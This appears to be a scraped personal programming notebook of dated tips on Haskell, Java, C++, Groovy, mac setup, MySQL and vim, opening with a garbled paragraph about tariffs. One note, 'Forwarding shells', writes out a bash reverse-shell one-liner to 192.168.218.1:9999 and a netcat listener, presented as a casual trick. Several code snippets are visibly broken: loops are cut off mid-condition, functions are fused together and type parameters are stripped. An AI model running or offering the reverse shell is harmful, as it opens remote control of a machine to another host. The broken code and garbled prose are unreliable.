-------------------------------------------------------------------------------- -------------------------------------------------------------------------------- The cost of living in American consumers It is not sure how much, automatically pass cost on, but at some point that there is enought pressive think has to break, all signes are American consumer will feel it, hand shake between Trump team, chinese delegate Trade talk has stalled Tarrif is very powerful in a country, picky bank, American consumer will soon feel greater impacted China will pass on those expension jack-up price on smart phones, computers, televions, the extra cost for the American family will cost close to $800 third quarter of toyes in American are made in China including the huge popular dolls -------------------------------------------------------------------------------- KEY: no show double quotes -- no show double quotes newtype NoQuotes = NoQuotes String instance Show NoQuotes where show (NoQuotes str) = str main = do paa ["dog\"", "cat"] pp "dog" print (NoQuotes "look \"ma, no quotes!") -------------------------------------------------------------------------------- Sat May 4 12:30:24 2019 KEY: haskell ghc, ghc 8.6, install haskell, Haskell platform, Haskell-platform Just install newer version ghc 8.6 with brew install ghc ghc 8.6 have many language extensions, one of them is multiple way if statement let var = x + y + z if | var > 0 -> do sth | var < 0 -> do oth | otherwise -> do mth The older version is 8.4 HsColour -> /Library/Haskell/ghc-8.4.3-x86_64/bin/HsColour activate-hs -> /Library/Haskell/ghc-8.4.3-x86_64/bin/activate-hs alex -> /Library/Haskell/ghc-8.4.3-x86_64/bin/alex cabal -> /Library/Haskell/ghc-8.4.3-x86_64/bin/cabal cabal.real -> /Library/Haskell/ghc-8.4.3-x86_64/bin/cabal.real cabal.wrap -> /Library/Haskell/ghc-8.4.3-x86_64/bin/cabal.wrap ghc-clang-wrapper -> /Library/Haskell/ghc-8.4.3-x86_64/bin/ghc-clang-wrapper happy -> /Library/Haskell/ghc-8.4.3-x86_64/bin/happy runhaskell -> /Library/Frameworks/GHC.framework/Versions/8.4.3-x86_64/usr/bin/runhaskell stack -> /Library/Haskell/ghc-8.4.3-x86_64/bin/stack uninstall-hs -> /Library/Haskell/ghc-8.4.3-x86_64/bin/uninstall-hs -------------------------------------------------------------------------------- KEY: shell, interactive shell, non-interactive shell An interactive (bash) shell executes the file .bashrc so you have to put any relevant variables or settings in this file. A non-interactive shell A non-interactive shell is a shell that can not interact with the user. It’s most often run from a script or similar. This means that .bashrc and .profile are not executed. It is important to note that this often influences your PATH variable. It is always a good practice to use the full path for a command but even more so in non-interactive shells. Detect the type of shell, BASH only You can detect if you are in an interactive or non-interactive shell with view sourceprint? 1 [[ $- == *i* ]] && echo 'Interactive' || echo 'not-interactive' To detect if you are in a login shell or not you have to use the shopt command. 1 shopt -q login_shell && echo 'login' || echo 'not-login' or do 1 shopt | grep login_shell The shopt command allows you to change additional shell optional behavior. Forwarding shells One of the most interesting things that you can do with a shell is to forward it to another host. You will need nc or netcat on the host to which you forward the shell. On the host with the shell you have to issue the command 1 bash -i >& /dev/tcp/192.168.218.1/9999 0>&1 The address 192.168.218.1 is the host to which you want to forward the shell. After the IP (note that you can also use a hostname but I strongly suggest you use an IP to prevent issues with hostname-resolving) you have to put the port number (9999) on which the netcat listener will listen. You have to start the netcat listener on the other side. Double check that there are no firewall rules preventing you from accepting connections. 1 nc -l 9999 Some versions of netcat require you to add -p before the port number. If all goes well you should get the shell on the listening host. -------------------------------------------------------------------------------- KEY: use Xcode from command line You need to use: open -a Xcode file.txt => open file -------------------------------------------------------------------------------- Fri May 3 12:05:40 2019 KEY: ssh to server, ssh remote server, ssh server, ssh path, ssh remote path https://superuser.com/questions/1192022/non-interactive-ssh-session-not-finding-command-even-though-it-is-in-the-path >ssh server.address "echo $PATH" returns the $PATH of your local shell even though it is written from the remote one. The variable expansion in quotes is done before sending the command to the server. To get the remote path, you need to use >ssh server.address 'echo $PATH' -------------------------------------------------------------------------------- Mon Apr 29 17:03:18 2019 KEY: groovy, groovy example Just play round with Groovy, it seems to be very awesome languages Its syntax is simple and it is dynamic type and lese typing, It seems to me you can use any java classes and import any java packages list and map syntax are simple, def list = ["dog", "cat] def map = ["dog":1, "cat":3] def map = new HashMap(); map.put("cat", 1) -------------------------------------------------------------------------------- Mon Apr 29 15:15:39 2019 KEY: Java runtime version, jre, java version Background Here is a table of the JVM versions mapped to the corresponding major version: JVM Major Version (decimal) Java 1.4 48 Java 5 49 Java 6 50 Java 7 51 Java 8 52 Java 9 53 This major version number is stored in the header of the .class file, at byte 7. Determining major version If you have a JDK (Java Development Kit) installed on your machine, then you can use ‘javap’ to look into the class file. Note that a JRE (runtime) will not have this utility available. Linux: $ javap -verbose MyClass | grep "major" Windows: > javap -verbose MyClass | findstr "major" -------------------------------------------------------------------------------- Mon Apr 29 14:36:37 2019 install groovy with home brew install groovy /usr/local/Cellar/groovy/2.5.6/libexec -------------------------------------------------------------------------------- Sun Apr 28 11:48:47 2019 Java jshell fron openJDK 12 The first thing that I need from jshell is to load external classes, e.g. my own libraries. After you install the jshell, you need to specify the class path to your jar files. jshell --class-path /Users/cat/myfile/bitbucket/javalib/AronLib.jar >import static classfile.Aron.*; -------------------------------------------------------------------------------- Sat Apr 27 22:46:14 2019 Install Java OpenJDk 12 brew install java Old Java 8 all comamnds or bin /System/Library/Frameworks/JavaVM.framework/Versions/Current/Commands java -version java version "1.8.0_45" Java(TM) SE Runtime Environment (build 1.8.0_45-b14) Java HotSpot(TM) 64-Bit Server VM (build 25.45-b02, mixed mode) There are three JDK so far: /Library/Java/JavaVirtualMachines: jdk1.8.0_121.jdk jdk1.8.0_45.jdk openjdk-12.0.1.jdk New JDK path, openJDK 12, jshell create symlink to jshell in /usr/bin /usr/bin/jshell -> /Library/Java/JavaVirtualMachines/openjdk-12.0.1.jdk/Contents/Home/bin -------------------------------------------------------------------------------- http://hackage.haskell.org/package/extra-1.6.14/docs/src/Data.List.Extra.html#groupOn -- | A version of 'group' where the equality is done on some extracted value. groupOn :: Eq b => (a -> b) -> [a] -> [[a]] groupOn f = groupBy ((==) `on2` f) -- redefine on so we avoid duplicate computation for most values. where (.*.) `on2` f = \x -> let fx = f x in \y -> fx .*. f y It is always fascinate how haskell code are so concise and elegant but it is "hard" to grab/understand the idea. I try to understand the groupOn function, I hope someone can explain to me what is going on above code. Here is my own understanding: on the where cause: it seems to me the author tried to define Three functions: 1. (.*.), prefix operator 2. `on2`, infix notation 3. f , just ordinary function groupBy just groups all the consective items in a list e.g. groupBy(\x y -> x == y) ["a", "a", "b", "c", "c"] => [["a", "a"], ["b"], ["c", "c"]] I assume groupOn try to change groupBy as following: groupBy(\x y -> x == y) list groupBy(\x y -> f x == f y) list where f = \x -> f x groupBy(\x y -> (==) (f x) (f y)) list groupOn f = groupBy((==) `on2` f) where (.*.) `on2` f = let fx = \x -> f x in \y -> fx .*. f y -- f x == f y (==) replaces (.*.) in groupOn My Question is: What `on2` here? -------------------------------------------------------------------------------- Wed Apr 17 130052 2019 Java connects to mysql mysql database java database java mysql See File UserscatmyfilebitbucketjavaSqlExamplesrcMainjava Java connect to mysql it is always painful processing 1 The old Java Connector Driver is not working any more so I need to download NEW Java Connection Driver mysql-connector-java-8015jar the old mysql connector is not longer working in the current MySql 8012 Check version mysql -u root 2 The new Java Connector needs SSL by default so you need to explicitly specify "useSSL=false" 3 The new Java Connector needs timezone for the connector string eg "Timezone=UTC" Finally SqlExample can make a conneciton to my local SqlServer on My MacOS 10134 -------------------------------------------------------------------------------- Fri Apr 12 23:22:46 2019 vim check complete path :echo &complete -------------------------------------------------------------------------------- Thu Apr 4 12:45:40 2019 Haskell ByteString and String, String OverloadedStrings {-# LANGUAGE OverloadedStrings #-} import Data.ByteString.Char8 () import qualified Data.ByteString as B bytes = "I'm a ByteString, not a [Char]" :: B.ByteString str = "I'm just an ordinary [Char]" :: String main = do print bytes print str There are Lazy and Strict Text in Haskell, package Data.Text.Lazy -- layz type package Data.Text -- strict type pack::String -> Text Text to String unpack::Text -> String Char to Text singleton::Char -> Text empty Text empty::Text con Char to Text cons::Char -> Text -> Text Add Char to the end of Text snoc::Text -> Char -> Text Append Text to Text append::Text -> Text -> Text -------------------------------------------------------------------------------- Wed Apr 3 11:49:44 2019 Spring Framework, Dependency Injection, Spring Bean Instantiate: First the spring container finds the bean’s definition from the XML file and instantiates the bean. Populate properties: Using the dependency injection, spring populates all of the properties as specified in the bean definition. Set Bean Name: If the bean implements BeanNameAware interface, spring passes the bean’s id to setBeanName() method. Set Bean factory: If Bean implements BeanFactoryAware interface, spring passes the beanfactory to setBeanFactory() method. Pre-Initialization: Also called post process of bean. If there are any bean BeanPostProcessors associated with the bean, Spring calls postProcesserBeforeInitialization() method. Initialize beans: If the bean implements IntializingBean,its afterPropertySet() method is called. If the bean has init method declaration, the specified initialization method is called. Post-Initialization: – If there are any BeanPostProcessors associated with the bean, their postProcessAfterInitialization() methods will be called. Ready to use: Now the bean is ready to use by the application Destroy: If the bean implements DisposableBean, it will call the destroy() method -------------------------------------------------------------------------------- list what scripts are loaded. >4!:3'' C:\Users\Eric\j807\bin\profile.ijs C:\Users\Eric\j807\system\util\boot.ijs C:\Users\Eric\j807\system\main\stdlib.ijs C:\Users\Eric\j807\system\util\scripts.ijs C:\Users\Eric\j807\system\main\regex.ijs C:\Users\Eric\j807\system\main\task.ijs C:\Users\Eric\j807\system\util\configure.ijs -------------------------------------------------------------------------------- bash profiling, bash profiling, shell profiling, shell profile time bash -c "cat test | wc -l" -------------------------------------------------------------------------------- Mon Mar 4 18:40:37 2019 add int[] long integer, long integer add two long integer is trick problem actually, same as multiply two long integers 1. array index and result index are both different 2. array is len, result array is len + 1 0 2 4 1 2 3 0 9 0 9 lenn = 5 len = 2 9 9 3 4 3 => 0 0 3 4 3 int[] c = new int[maxlen + 1]; for(int i=0; i=0; i--){ s = c + a[i] + b[i]; c[i] = s % 10; c = s/10; } c[0] = c; 9 6 - rev 5 7 - rev - 6 9 7 5 3 5 1 - 1 5 3 2 4 9 9 8 1 0 2 2 4 2 0 0 2 4 0 0 -> 4 2 0 0 9 9 8 0 -> 8 9 9 0 2 2 0 1 -> 1 0 2 2 - 1. make two arrays are the same length 2. add two same length arrays up 3. result array will be (len + 1) 0 1 2 0 1 2 0 1 2 3 int c = 0 for(int i=0; i mergeList(ArrayList list1, ArrayList list2){ ArrayList list = new ArrayList<>(); if( list1 != null && list2 != null){ e int len1 = list1.size(); int len2 = list2.size(); int i = 0, j = 0; while(i < len1 || j < len2){ if(i >= len1){ list.add(list2.get(j)); j++; }else if(j >= len2){ list.add(list1.get(i)); i++; }else{ if(list1.get(i) < list2.get(j)){ list.add(list1.get(i)); i++; }else{ list.add(list2.get(j)); j++; } } } } return list; } -------------------------------------------------------------------------------- Haskell Category Functor 1. There Objects and arrows Ring 1. identity for (+) and (*) 2. distribution over the (+) Group 1. identity => Id + e = e + Id = e 2. Associativity => a + b + c = a + (b + c) 3. Inverse => a + a^(-1) = Id Semigroup 2. Associativity => a + b + c = a + (b + c) Monoid 1, 2 Monad Monad is Monoid over Functor -------------------------------------------------------------------------------- /** 1. arr = {1}, 2. 2 1 mid = arr[0] 3. 1 2 mid = arr[0] 2 3 4 1 (lo=0, hi=3) mid = 1 (lo=1, hi =3) -> 3 4 1 mid = 2 (lo=2, hi=3) -> 4 1 mid = 2 arr[2] < arr[2] max(arr, lo=2, hi=2) => 4 rotate sorted string */ public static int max(int[] arr, int lo, int hi){ if(arr[lo] <= arr[hi]){ return arr[hi]; }else{ int mid = (lo + hi)/2; if(arr[lo] < arr[mid]){ return max(arr, mid, hi); }else{ return max(arr, lo, mid); } } } -------------------------------------------------------------------------------- // better version: http://localhost/html/indexTriesDataStructure.html // another tries data structure again! // add: count all the longest paths class TNode{ boolean isWord; String word; TNode[] arr = new TNode[26]; // use Map map; public TNode(){ isWord = false; } } public class try_tries{ public static void main(String[] args) { // a | b | c | // d | // e f | test0(); test1(); } public static void test0(){ Aron.beg(); TNode r = new TNode(); String s = "a"; String s1 = "ab"; String s2 = "abc"; String s3 = "abd"; String s4 = "aef"; int inx = 0; insert(r, s, inx); insert(r, s1, inx); insert(r, s2, inx); insert(r, s3, inx); insert(r, s4, inx); Print.pb(contains(r, "a", inx) == true); Print.pb(contains(r, "ac", inx) == false); Print.pb(contains(r, "ab", inx) == true); Print.pb(contains(r, "abc", inx) == true); int count = countPath(r); Print.pb(count); Aron.end(); } public static void test1(){ Aron.beg(); TNode r = new TNode(); String s = "a"; String s1 = "ab"; String s2 = "abc"; String s3 = "abd"; String s4 = "aef"; int inx = 0; insert(r, s, inx); insert(r, s1, inx); insert(r, s2, inx); insert(r, s3, inx); insert(r, s4, inx); String input = "ab"; List list = autoComplete(r, input, inx); Print.pb(list); Aron.end(); } public static void insert(TNode r, String s, int inx){ if (inx < s.length()){ int index = s.charAt(inx) - 'a'; if(r.arr[index] == null) r.arr[index] = new TNode(); insert(r.arr[index], s, inx + 1); }else{ r.word = s; r.isWord = true; } } public static boolean contains(TNode r, String s, int inx){ if(inx < s.length()){ int index = s.charAt(inx) - 'a'; if(r.arr[index] != null){ return contains(r.arr[index], s, inx+1); }else{ return false; } }else{ return r.isWord; } } /* Count the number of paths of Tries Input Tries Return number of paths or number of words in Tries Count the number of longest paths in Tries */ public static int countPath(TNode r){ if(r != null){ int s = 0; int i = 0; for(i=0; i list){ if(r != null){ int c = 0; for(int i=0; i autoComplete(TNode r, String s, int inx){ if (inx < s.length()){ int index = s.charAt(inx) - 'a'; if(r.arr[index] != null){ return autoComplete(r.arr[index], s, inx + 1); }else{ return new ArrayList(); } }else{ List list = new ArrayList(); getList(r, list); return list; } } } -------------------------------------------------------------------------------- Wed Feb 20 10:46:03 2019 String interleaving, string interleav, string inter, in cpp, in C++ #include #include #include #include #include "AronLib.h" using namespace std; // The main function that recursively prints all interleavings. // The variable iStr is used to store all interleavings (or // output strings) one by one. // i is used to pass next available place in iStr void printRecur (char *str1, char *str2, char *iStr, int m, int n, int i) { // Base case: If all characters of str1 and str2 have been // included in output string, then print the output string if (m==0 && n==0) printf("%s\n", iStr) ; // If some characters of str1 are left to be included, then // include the first character from the remaining characters // and recur for rest if (m != 0){ printf("str1=%c\n", str1[0]); iStr[i] = str1[0]; printRecur (str1 + 1, str2, iStr, m-1, n, i+1); } // If some characters of str2 are left to be included, then // include the first character from the remaining characters // and recur for rest if (n != 0) { printf("str2=%c\n", str2[0]); iStr[i] = str2[0]; printRecur(str1, str2+1, iStr, m, n-1, i+1); } } // Allocates memory for output string and uses printRecur() // for printing all interleavings void printIls (char *str1, char *str2, int m, int n) { // allocate memory for the output string char *iStr= (char*)malloc((m+n+1)*sizeof(char)); // Set the terminator for the output string iStr[m+n] = '\0'; // print all interleavings using printRecur() printRecur (str1, str2, iStr, m, n, 0); // free memory to avoid memory leak free(iStr); } // Driver program to test above functions int main() { char str1[] = "AB"; char str2[] = "ab"; printIls (str1, str2, strlen(str1), strlen(str2)); return 0; } -------------------------------------------------------------------------------- Wed Feb 20 09:45:18 2019 Given a string, print all permutation of their characters, interview questions, /** abc p(abc) a + p(bc) b + p(c) c + p("") c + p(b) b + p("") b + p(ac) a + p(c) c + p("") c + p(a) a + p("") c + p(ab) a + p(b) b + p("") b + p(a) a + p("") */ public static void permutation(String prefix, String s){ if(s.length() == 0){ Print.pl("perm=" + prefix); }else{ for(int i=0; i {@literal Convert Numbet to Binary String } {@code numToBinary(4) => "100" } */ public static String numToBinary(int n){ String s = ""; if(n == 0) s = "0"; while(n > 0){ int mod = n % 2; int q = n / 2; s = mod + s; n = q; } return s; } -------------------------------------------------------------------------------- Libigl library for Geometry Processing, Thu Feb 7 22:56:53 2019 https://libigl.github.io/#libigl-example-project Libigl seems to be good library for Geometry Processing, git clone and build, it seems to me that I can build all the tutorials so far. It is hard to image to build C/C++ code on my system, most of time it is failed Libigl also depends on many libs/tools such as CMake, CGAL, and Eigen For C++ project, there is always some issues?.. to build.. If you try to read cmake script, then it will make you fall in sleep right away. I never understand make file, maybe.. -------------------------------------------------------------------------------- Thu Jan 31 11:17:01 2019 opengl keypress, keypress example, keyboard example /Users/cat/myfile/bitbucket/haskell/keyboardpress_simple.hs -------------------------------------------------------------------------------- Tue 2 May 11:49:32 2023 KEY: install astyle on MacOS, Vim formater, code format, code style, code stylish, format code, cpp format, cpp pretty, java format brew install astyle :%!astyle Tue 2 May 11:49:21 2023 // Currently install: $ff/myinstall/astyle // $sym/astyle => link to $ff/myinstall/astyle/build/bin/astyle -------------------------------------------------------------------------------- reload Chrome from command line, refresh url, reload url Sat Jan 19 10:48:16 2019 # https://stackoverflow.com/questions/17119184/auto-reload-html-file-with-a-browser-via-terminal-command printc 200 "reload Chrome" osascript -e 'tell application "Google Chrome" to tell the active tab of its first window to reload' # Update: Fri 24 Sep 14:07:48 2021 brew install xdotool -------------------------------------------------------------------------------- Emacs Org mode My note -*- mode: org -*- \( \sqrt{3} \) #+TAGS: {@HOME(o) @OFFICE(h)} COMPUTER(c) PHONE(p) READER(r) <2019-01-17 Thu> *TODO* 1. cat 2. pig * file ** file HOME *** cat **** fox ***** pig Haskell literal programming pandoc converts lhs file to Html file pandoc -f markdown+lhs -t html5 --smart myfile.lhs -------------------------------------------------------------------------------- latex color, text color, textcolor, background color, Tue Jan 15 17:24:53 2019 \textcolor{declared-color}{text} {\color{declared-color}some text} \colorbox{declared-color}{text} -------------------------------------------------------------------------------- Thu Jan 10 11:47:43 2019 Given the lengths of edges of a triangle ABc, we can compute the area of the triangle t: Given any square matrix M, there exits a pair of unitary matrix and upper triangle matrix such that m: M = QR mat: 3 4 5 7 9 9 6 3 5 mat: sin(beta) 3 4 3 cos(alpha) 4 9 3 3 4 3 5 eq: f'(x) = x^2 + x + 4 m: lim x -> 0 (f(x + h) - f(x)) / h -------------------------------------------------------------------------------- Mon Dec 17 10:11:20 2018 I have Vectorx class and I want to overload "dot product" with operator (*:) in Num class data Vectorx a = Vectorx a a a instance (Num a)=>Num(Vectorx a) where (+) ... (-) ... etc ... (*:) (Vectorx x0 y0 z0) (Vectorx x1 y1 z1) = x0*x1 + y0*y1 + z0*z1 It seems to me I can NOT add (*:) operator in the instance of Num In Java, I can add whatever method that I want when I implement interface or extend abstract class. Any help would be appreciated. -------------------------------------------------------------------------------- get exit code from process, exitcode in Haskell import Control.Monad import System.Directory import System.Exit import System.Process main = do (exitCode, _, _) <- readProcessWithExitCode "unrar" ["x", "archivename"] "" when (exitCode == ExitSuccess) $ removeFile "archivename" -------------------------------------------------------------------------------- Mon Dec 3 14:38:14 2018 Add record to genehtml.hs make the code looks nice, I guess -------------------------------------------------------------------------------- Sun Dec 2 14:26:34 2018 1. fix table layout 2. the new index is working so far. 3. indexNew.html => all the links seems to be OK, -------------------------------------------------------------------------------- Sun Dec 2 00:36:06 2018 1. Create new index Page => localhost/indexNew.html 2. Add the code to genehtml.hs file 3. not add url links to indexNew.html yet 4. Need to fix the table layout 5. more.. TODO: ... ------------------------------------------------------------------------------- Wed Feb 20 10:22:38 2019 Find string from a given string, c++ find string, search string, search str, find str // string::find #include // std::cout #include // std::string int main () { std::string str ("There are two needles in this haystack with needles."); std::string str2 ("needle"); // different member versions of find in the same order as above: std::size_t found = str.find(str2); if (found!=std::string::npos) std::cout << "first 'needle' found at: " << found << '\n'; found=str.find("needles are small",found+1,6); if (found!=std::string::npos) std::cout << "second 'needle' found at: " << found << '\n'; found=str.find("haystack"); if (found!=std::string::npos) std::cout << "'haystack' also found at: " << found << '\n'; found=str.find('.'); if (found!=std::string::npos) std::cout << "Period found at: " << found << '\n'; // let's replace the first needle: str.replace(str.find(str2),str2.length(),"preposition"); std::cout << str << '\n'; return 0; } -------------------------------------------------------------------------------- // cstr to string, cstring to string, char* to string // strings and c-strings #include #include #include int main () { std::string str ("Please split this sentence into tokens"); char * cstr = new char [str.length()+1]; std::strcpy (cstr, str.c_str()); // cstr now contains a c-string copy of str char * p = std::strtok (cstr," "); while (p!=0) { std::cout << p << '\n'; p = std::strtok(NULL," "); } delete[] cstr; return 0; } -------------------------------------------------------------------------------- Mon Nov 26 10:50:44 2018 opencv Mat img.read(..) Mat mat; Mat mat.create(int rows, int cols, int type) Mat mat.create(img.rows, img.cols, int type) /Users/cat/myfile/bitbucket/opencv/ImageBlending.cpp -------------------------------------------------------------------------------- Fri Nov 23 10:44:34 2018 install opencv(3.4x) on My MacOS brew install opencv use pkg-config to retrieve lib info e.g: pkg-config --cflags --libs opencv retrieve opencv lib info, it seems to be very useful you can compile your cpp code with pkg-config,e.g. g++ $(pkg-config --cflags --libs opencv) -std=c++11 yourFile.cpp -o yourFileProgram -------------------------------------------------------------------------------- Wed Aug 15 17:14:22 2018 Get error start mysql server on MacOS, mysql 5.7 and mysql 8.0 /** * detect file types from file extensions: image(.png, .jpeg, .jpg) and PDF(.pdf) * * @param fName is name of file. * @return image file: "IMG" or pdf file: "PDF", empty otherwise * */ static String fileType(String fName){ String type = ""; Pattern pdfPattern = Pattern.compile("\\.pdf$", Pattern.CASE_INSENSITIVE); Matcher pdfMatcher = pdfPattern.matcher(fName); Pattern pattern = Pattern.compile("\\.png|\\.jpeg|\\.jpg$", Pattern.CASE_INSENSITIVE); Matcher matcher = pattern.matcher(fName); if(matcher.find()){ Print.pbl("fName=" + fName); type = "IMG"; }else if(pdfMatcher.find()){ Print.pbl("fName=" + fName); type = "PDF"; } return type; } -------------------------------------------------------------------------------- Remove all versions of MySQL (I had 5.7.21, 5.7.22, and 8.0.11) : brew uninstall --force mysql Confirm Removal and Repair : brew services list and then brew doctor Rename original MySQL : mv /usr/local/var/mysql /usr/local/var/old.mysql Install latest MySQL (currently 8.0.11) : brew install mysql MySQL Secure Install : /usr/local/bin/mysql_secure_installation *haskell file manager* *h file manager* *file manager* ghci add :m +System.FilePath.Posix GHCi add language extension, e.g. ghci -XOverloadedStrings here-string here string is crazy awesome Here is how to run GHCi in your command line ghci -v0 <<< ':r map' ------------------------------------------------------------------ A library for FilePath manipulations, using Posix style paths on all platforms. Importing System.FilePath is usually better. Given the example FilePath: /directory/file.ext We can use the following functions to extract pieces. takeFileName gives "file.ext" *file_ext* takeFileName "dog/cat" => cat takeDirectory gives "/directory" takeExtension gives ".ext" dropExtension gives "/directory/file" takeBaseName gives "file" And we could have built an equivalent path with the following expressions: "/directory" "file.ext". "/directory/file" <.> "ext". "/directory/file.txt" -<.> "ext". ================================================================== Remove symbol links in Haskell ------------------------------------------------------------------ Hard links createLink :: FilePath -> FilePath -> IO () Source# createLink old new creates a new path, new, linked to an existing file, old. Note: calls link. removeLink :: FilePath -> IO () Source# removeLink path removes the link named path. Note: calls unlink. Symbolic links createSymbolicLink :: FilePath -> FilePath -> IO () Source# createSymbolicLink file1 file2 creates a symbolic link named file2 which points to the file file1. Symbolic links are interpreted at run-time as if the contents of the link had been substituted into the path being followed to find a file or directory. Note: calls symlink. -------------------------------------------------------------------------------- cabal update cabal install OpenGL or runall to see all the installed packages ------------------------------------------------------------------ http://hackage.haskell.org/package/OpenGL OpenGL 3.0.2.2 is Haskell binding for OpenGL system(GL verision 4.6) and its accompanying utility system GLU, version 1.3 ------------------------------------------------------------------ cabal update OpenGLRaw is a raw Haskell binding for the OpenGL 4.6 graphics system and lots of OpenGL extensions. It is basically a 1:1 mapping of OpenGL's C API, intended as a basis for a nicer interface. -------------------------------------------------------------------------------- Sat Aug 18 11:16:09 2018 type FilePath = String Source# File and directory names are values of type String, whose precise meaning is operating system dependent. Files can be opened, yielding a handle which can then be used to operate on the contents of that file. readFile :: FilePath -> IO String Source# The readFile function reads a file and returns the contents of the file as a string. The file is read lazily, on demand, as with getContents. writeFile :: FilePath -> String -> IO () Source# The computation writeFile file str function writes the string str, to the file file. appendFile :: FilePath -> String -> IO () Source# The computation appendFile file str function appends the string str, to the file file. Note that writeFile and appendFile write a literal string to a file. To write a value of any printable type, as with print, use the show function to convert the value to a string first. main = appendFile "squares" (show [(x,x*x) | x <- [0,0.1..2]]) readIO :: Read a => String -> IO a Source# The readIO function is similar to read except that it signals parse failure to the IO monad instead of terminating the program. readLn :: Read a => IO a Source# The readLn function combines getLine and readIO. Exception handling in the I/O monad type IOError = IOException Source# The Haskell 2010 type for exceptions in the IO monad. Any I/O operation may raise an IOError instead of returning a result. For a more general type of exception, including also those that arise in pure code, see Exception. In Haskell 2010, this is an opaque type. ioError :: IOError -> IO a Source# Raise an IOError in the IO monad. userError :: String -> IOError Source# -------------------------------------------------------------------------------- Wed Aug 22 11:15:59 2018 OpenGL push and pop matrix, changed to preservingMatrix in Haskell preservingMatrix :: IO a -> IO a Source# Push the current matrix stack down by one, duplicating the current matrix, excute the given action, and pop the current matrix stack, replacing the current matrix with the one below it on the stack (i.e. restoring it to its previous state). The returned value is that of the given action. Note that a round-trip to the server is probably required. For a more efficient version, see unsafePreservingMatrix. -------------------------------------------------------------------------------- Wed Aug 22 22:09:40 2018 Set, find the powerset, insert, delete element etc. http://hackage.haskell.org/package/containers-0.6.0.1/docs/Data-Set.html ------------------------------------------------------------------ Vim set search ignorecase noignorecase :set noignorecase ------------------------------------------------------------------ Thu Aug 23 11:37:33 2018 package linear, Linear is the linear algebra library for basic linear algebra operation, I just try to play around with the library, and it seems to me it is pretty "easy to use" library, 1. Install the package cabal update cabal install linear (my current version is linear-1.20.8) 2. import the module import Linear http://hackage.haskell.org/package/linear-1.20.8/docs/Linear-Matrix.html ------------------------------------------------------------------ current Haskell version on my system /Library/Frameworks/GHC.framework/Versions 7.10.2-x86_64 7.10.3-x86_64 8.4.3-x86_64 Current ------------------------------------------------------------------ #Many GHC versions can cause trouble on your MacOS After install the haddock with cabal unregister haddock-api cabal unregister haddock-library and sound some strangle issue with old version GHC-7.10.x sth, need to manually remove it, and run cabal install haddock-xxx again close the shell and reopen the shell again, and use 'which' command to find the haddock to verify the haddock it works It seems to me there are issues when I have many versions of GHC in my MacOS,(three versions now..) 7.10.2-x86_64 7.10.3-x86_64 8.4.3-x86_64 it causes the haddock does't work initially ------------------------------------------------------------------ Wed Aug 29 16:26:38 2018 arrow with text above for function above https://tex.stackexchange.com/questions/103988/rightarrow-with-text-above-it ------------------------------------------------------------------ Julia redirect output to file You can use the @capture_out macro from Suppressor.jl 7, then write it to a file: using Suppressor output = @capture_out run(`ls`) open("/var/log/myprogram.txt", "w") do io write(io, output) end -------------------------------------------------------------------------------- Thu Aug 30 17:53:00 2018 file image file, png file, detect file type, filetype /** * detect file types from file extensions: image(.png, .jpeg, .jpg) and PDF(.pdf) * * @param fName is name of file. * @return image file: "IMG" or pdf file: "PDF", empty otherwise * */ static String fileType(String fName){ String type = ""; Pattern pdfPattern = Pattern.compile("\\.pdf$", Pattern.CASE_INSENSITIVE); Matcher pdfMatcher = pdfPattern.matcher(fName); Pattern pattern = Pattern.compile("\\.png|\\.jpeg|\\.jpg$", Pattern.CASE_INSENSITIVE); Matcher matcher = pattern.matcher(fName); if(matcher.find()){ Print.pbl("fName=" + fName); type = "IMG"; }else if(pdfMatcher.find()){ Print.pbl("fName=" + fName); type = "PDF"; } return type; } -------------------------------------------------------------------------------- Fri Aug 31 13:33:30 2018, javadoc, generate javadoc, gene javadoc prefix_map.java $tt/jdoc && cd $tt/jdoc && javadoc prefix_map.java prefix_map.java $tt/jdoc && cd $tt/jdoc && javadoc -Dshow=private prefix_map.java prefix_map.java $tt/jdoc && cd $tt/jdoc && javadoc -Dshow=private prefix_map.java prefix_map.java $tt/jdoc && cd $tt/jdoc && javadoc -private prefix_map.java prefix_map.java $tt/jdoc && cd $tt/jdoc && javadoc -private prefix_map.java prefix_map.java $tt/jdoc && cd $tt/jdoc && javadoc -private prefix_map.java ------------------------------------------------------------------ /**
    {@literal
        str = "vi cmd, vi help";
        [key =v]
        [key =vi]
        [key =c]
        [key =cm]
        [key =cmd]
        vi -> [vi cmd]
        c -> [cmd]
        v -> [vi cmd]
        cm -> [cmd]
        cmd -> [cmd]
        [key =v]
        [key =vi]
        [key =h]
        [key =he]
        [key =hel]
        [key =help]
        help -> [help]
        vi -> [vi help, vi cmd]
        c -> [cmd]
        v -> [vi help, vi cmd]
        h -> [help]
        cm -> [cmd]
        cmd -> [cmd]
        he -> [help]
        hel -> [help]
    }
    {@code 
        List list = new ArrayList<>(Arrays.asList("vi cmd, vi help"));
        Map> map = new HashMap<>();
        prefixStringMap(list, map);
    }
    
*/ -------------------------------------------------------------------------------- Tue Sep 4 16:37:18 2018 run shell script on spotlight chmod +x ShowProcesses.command You can also leave out the usual #!/bin/sh part on the first line. Now, when someone double-clicks your script in the Mac Finder, the script will open a new Mac Terminal window, and then run the script inside that window. When it’s finished, the Terminal will display a “Process Completed” message, and the user can close the Terminal. I did this recently for one of my sisters. She has an HP printer attached to her Mac, and from time to time the printer goes nuts and decides to eat the CPU. I run a top command in a script so she can confirm that this is the problem. Simple example As a simple example of this, create a file named Test.command somewhere on your Mac OS X filesystem, such as the Desktop, or a temp folder somewhere. Put some simple commands in the file, like this: ls -al pwd -------------------------------------------------------------------------------- Fri Sep 28 17:40:50 2018 haskell useful command ghc-pkg find-module the module belongs to which packages -------------------------------------------------------------------------------- Sun Sep 30 15:20:33 2018 install Pure Script, purescript printc 200 "[vimrc] Backup vimrc and bashrc to github " RN deprecated bower@1.8.4: We don't recommend using Bower for new projects. Please consider Yarn and Webpack or Parcel. You can read how to migrate legacy project here: https://bower.io/blog/2017/how-to-migrate-away-from-bower/ /usr/local/bin/bower -> /usr/local/lib/node_modules/bower/bin/bower /usr/local/bin/pulp -> /usr/local/lib/node_modules/pulp/index.js > fsevents@1.2.4 install /usr/local/lib/node_modules/pulp/node_modules/fsevents > node install [fsevents] Success: "/usr/local/lib/node_modules/pulp/node_modules/fsevents/lib/binding/Release/node-v48-darwin-x64/fse.node" already installed Pass --update-binary to reinstall or --build-from-source to recompile /usr/local/lib -------------------------------------------------------------------------------- Mon Oct 15 17:28:46 2018 Install Agda stuff, it might be usefull in the future? cabal install Agda failed...:) stack install Agda-exe.. failed:) home brew works...:( ==> Pouring 